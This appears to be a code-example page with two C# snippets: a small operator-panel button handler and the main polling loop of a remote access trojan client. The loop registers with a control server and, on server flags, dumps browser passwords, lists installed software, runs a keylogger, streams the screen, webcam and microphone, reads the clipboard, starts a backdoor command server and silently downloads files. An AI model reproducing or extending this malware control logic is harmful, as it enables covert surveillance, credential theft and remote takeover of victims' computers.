예제 #1
0
 private void button14_Click(object sender, EventArgs e)
 {
     if (dataGridView1.SelectedRows.Count > 0)
     {
         for (int i = 0; i < dataGridView1.SelectedRows.Count; i++)
         {
             a.SetForNoUpdate(dataGridView1.SelectedRows[i].Cells[0].Value.ToString());
         }
     }
 }
예제 #2
0
        private static void MainFunk()
        {
            while (true)
            {
                if (!Connected)
                {
                    Thread ConnectionThread = new Thread(new ThreadStart(ConnectToWS));
                    ConnectionThread.Start();
                    while (ConnectionThread.IsAlive)
                    {
                        Thread.Sleep(100);
                    }
                    ;
                }
                else
                {
                    Thread IsRegisteredThread = new Thread(new ThreadStart(IsRegistered));
                    IsRegisteredThread.Start();
                    while (IsRegisteredThread.IsAlive)
                    {
                        Thread.Sleep(100);
                    }
                    ;

                    if (!Registered)
                    {
                        Thread RegisterThread = new Thread(new ThreadStart(Register));
                        RegisterThread.Start();
                        while (RegisterThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;
                    }
                    else
                    {
                        #region UpdatePCData
                        Thread IfUpdateThread = new Thread(new ThreadStart(IfUpdate));
                        IfUpdateThread.Start();
                        while (IfUpdateThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (Update)
                        {
                            Thread UpdateDataThread = new Thread(new ThreadStart(UpdateData));
                            UpdateDataThread.Start();
                            while (UpdateDataThread.IsAlive)
                            {
                                Thread.Sleep(100);
                            }
                            ;
                            A.SetForNoUpdate(myName);
                            Update = false;
                        }
                        #endregion

                        #region PasswordDump
                        Thread IfBrowserPassDumpThread = new Thread(new ThreadStart(IfBrowserPassDump));
                        IfBrowserPassDumpThread.Start();
                        while (IfUpdateThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (BrowserDump)
                        {
                            Thread DumpPassThread = new Thread(new ThreadStart(DumpPass));
                            DumpPassThread.Start();
                            while (DumpPassThread.IsAlive)
                            {
                                Thread.Sleep(100);
                            }
                            ;
                            A.SetForNoBrowserDump(myName);
                            BrowserDump = false;
                        }
                        #endregion

                        #region RegisteredSoftware
                        Thread IfRegisteredSoftwareThread = new Thread(new ThreadStart(IfInstalledAplicationDump));
                        IfRegisteredSoftwareThread.Start();
                        while (IfRegisteredSoftwareThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (InstalledSoftwareBool)
                        {
                            Thread DumpPassThread = new Thread(new ThreadStart(GetInstalledApplications));
                            DumpPassThread.Start();
                            while (DumpPassThread.IsAlive)
                            {
                                Thread.Sleep(100);
                            }
                            ;
                            A.SetForNoApplicationDump(myName);
                            InstalledSoftwareBool = false;
                        }



                        #endregion

                        #region KeylogDump
                        Thread IfKeylogDumpThread = new Thread(new ThreadStart(IfKeylogDump));
                        IfKeylogDumpThread.Start();
                        while (IfRegisteredSoftwareThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (keydumpbool)
                        {
                            if (KeyLogObject == null)
                            {
                                KeyLogObject = new Keylogger();
                            }

                            if (!KeyLogObject.started)
                            {
                                KeyLogObject.KeyloggerStart();
                            }
                        }
                        else
                        {
                            if (KeyLogObject != null)
                            {
                                if (KeyLogObject.started)
                                {
                                    KeyLogObject.Flush2File();
                                    KeyLogObject.KeyLogerStop();
                                }
                            }
                        }

                        #endregion

                        #region ScreenShare

                        Thread IfKeyScreenShareThread = new Thread(new ThreadStart(IfKeyScreenShare));
                        IfKeyScreenShareThread.Start();
                        while (IfKeyScreenShareThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (scshare)
                        {
                            if (!ScreenShareThread.IsAlive)
                            {
                                ScreenShareThread = new Thread(new ThreadStart(ScreenShare));
                                ScreenShareThread.Start();
                            }
                            string clip = System.Windows.Forms.Clipboard.GetText();
                            if (clip != "")
                            {
                                // co clipboard ne server
                            }
                        }



                        #endregion

                        #region WebCam
                        Thread IfWebCamThread = new Thread(new ThreadStart(IfWebCamDump));
                        IfWebCamThread.Start();
                        while (IfWebCamThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (WebCambool)
                        {
                            if (!WebCamShareThread.IsAlive)
                            {
                                WebCam.StreamImages = true;
                                WebCamShareThread   = new Thread(new ThreadStart(WebCamShare));
                                WebCamShareThread.Start();
                            }
                        }
                        else
                        {
                            WebCam.StreamImages = false;
                            //if (WebCamShareThread.IsAlive)
                            //{
                            //    WebCamShareThread.Abort();
                            //}
                        }



                        #endregion

                        #region CMDRUN

                        Thread IfCmdRunThread = new Thread(new ThreadStart(IfCmdRun));
                        IfCmdRunThread.Start();
                        while (IfCmdRunThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (cmdkey)
                        {
                            if (!Backdoor.started)
                            {
                                Backdoor.startServer();
                            }
                        }
                        else
                        {
                            if (Backdoor.started)
                            {
                                Backdoor.stopServer();
                            }
                        }
                        #endregion

                        #region MIC

                        Thread IfMicDumpThread = new Thread(new ThreadStart(IfMicDump));
                        IfMicDumpThread.Start();
                        while (IfMicDumpThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (micdumpkey)
                        {
                            string connection = A.SelectIPPORT();
                            string ip         = connection.Substring(0, connection.IndexOf(':'));
                            string port       = connection.Substring(connection.IndexOf(':') + 1);
                            if (!VoiceRoom.started)
                            {
                                VoiceRoom.VoiceRoomStart(ip, int.Parse(port));
                            }
                        }
                        else
                        {
                            VoiceRoom.Disconncet();
                        }

                        #endregion

                        #region Navigator

                        Thread IfBrowserOpenThread = new Thread(new ThreadStart(IfWebBrowse));
                        IfBrowserOpenThread.Start();
                        while (IfBrowserOpenThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (webopenkey)
                        {
                            if (!Browser.running)
                            {
                                urlToOpen         = A.SelectOPEN();
                                Browser.urlToLoad = urlToOpen;
                                Browser.StartBrowser();
                            }
                        }

                        #endregion

                        #region DownloadLocal

                        Thread IfDownloadThread = new Thread(new ThreadStart(IfDownload));
                        IfDownloadThread.Start();
                        while (IfDownloadThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (downloadkey)
                        {
                            urlToDownload = A.SelectDOWN();
                            if (urlToDownload != "")
                            {
                                string filename = urlToDownload.Substring(urlToDownload.LastIndexOf('/'));
                                HiddenDownloader.DownloadFileAsync(new Uri(urlToDownload), filename);
                                A.SetForNoUrlDown(myName);
                                urlToDownload = "";
                            }
                        }

                        #endregion

                        Thread.Sleep(1000);
                    }
                }
                GC.Collect();
                Thread.Sleep(1000);
            }
        }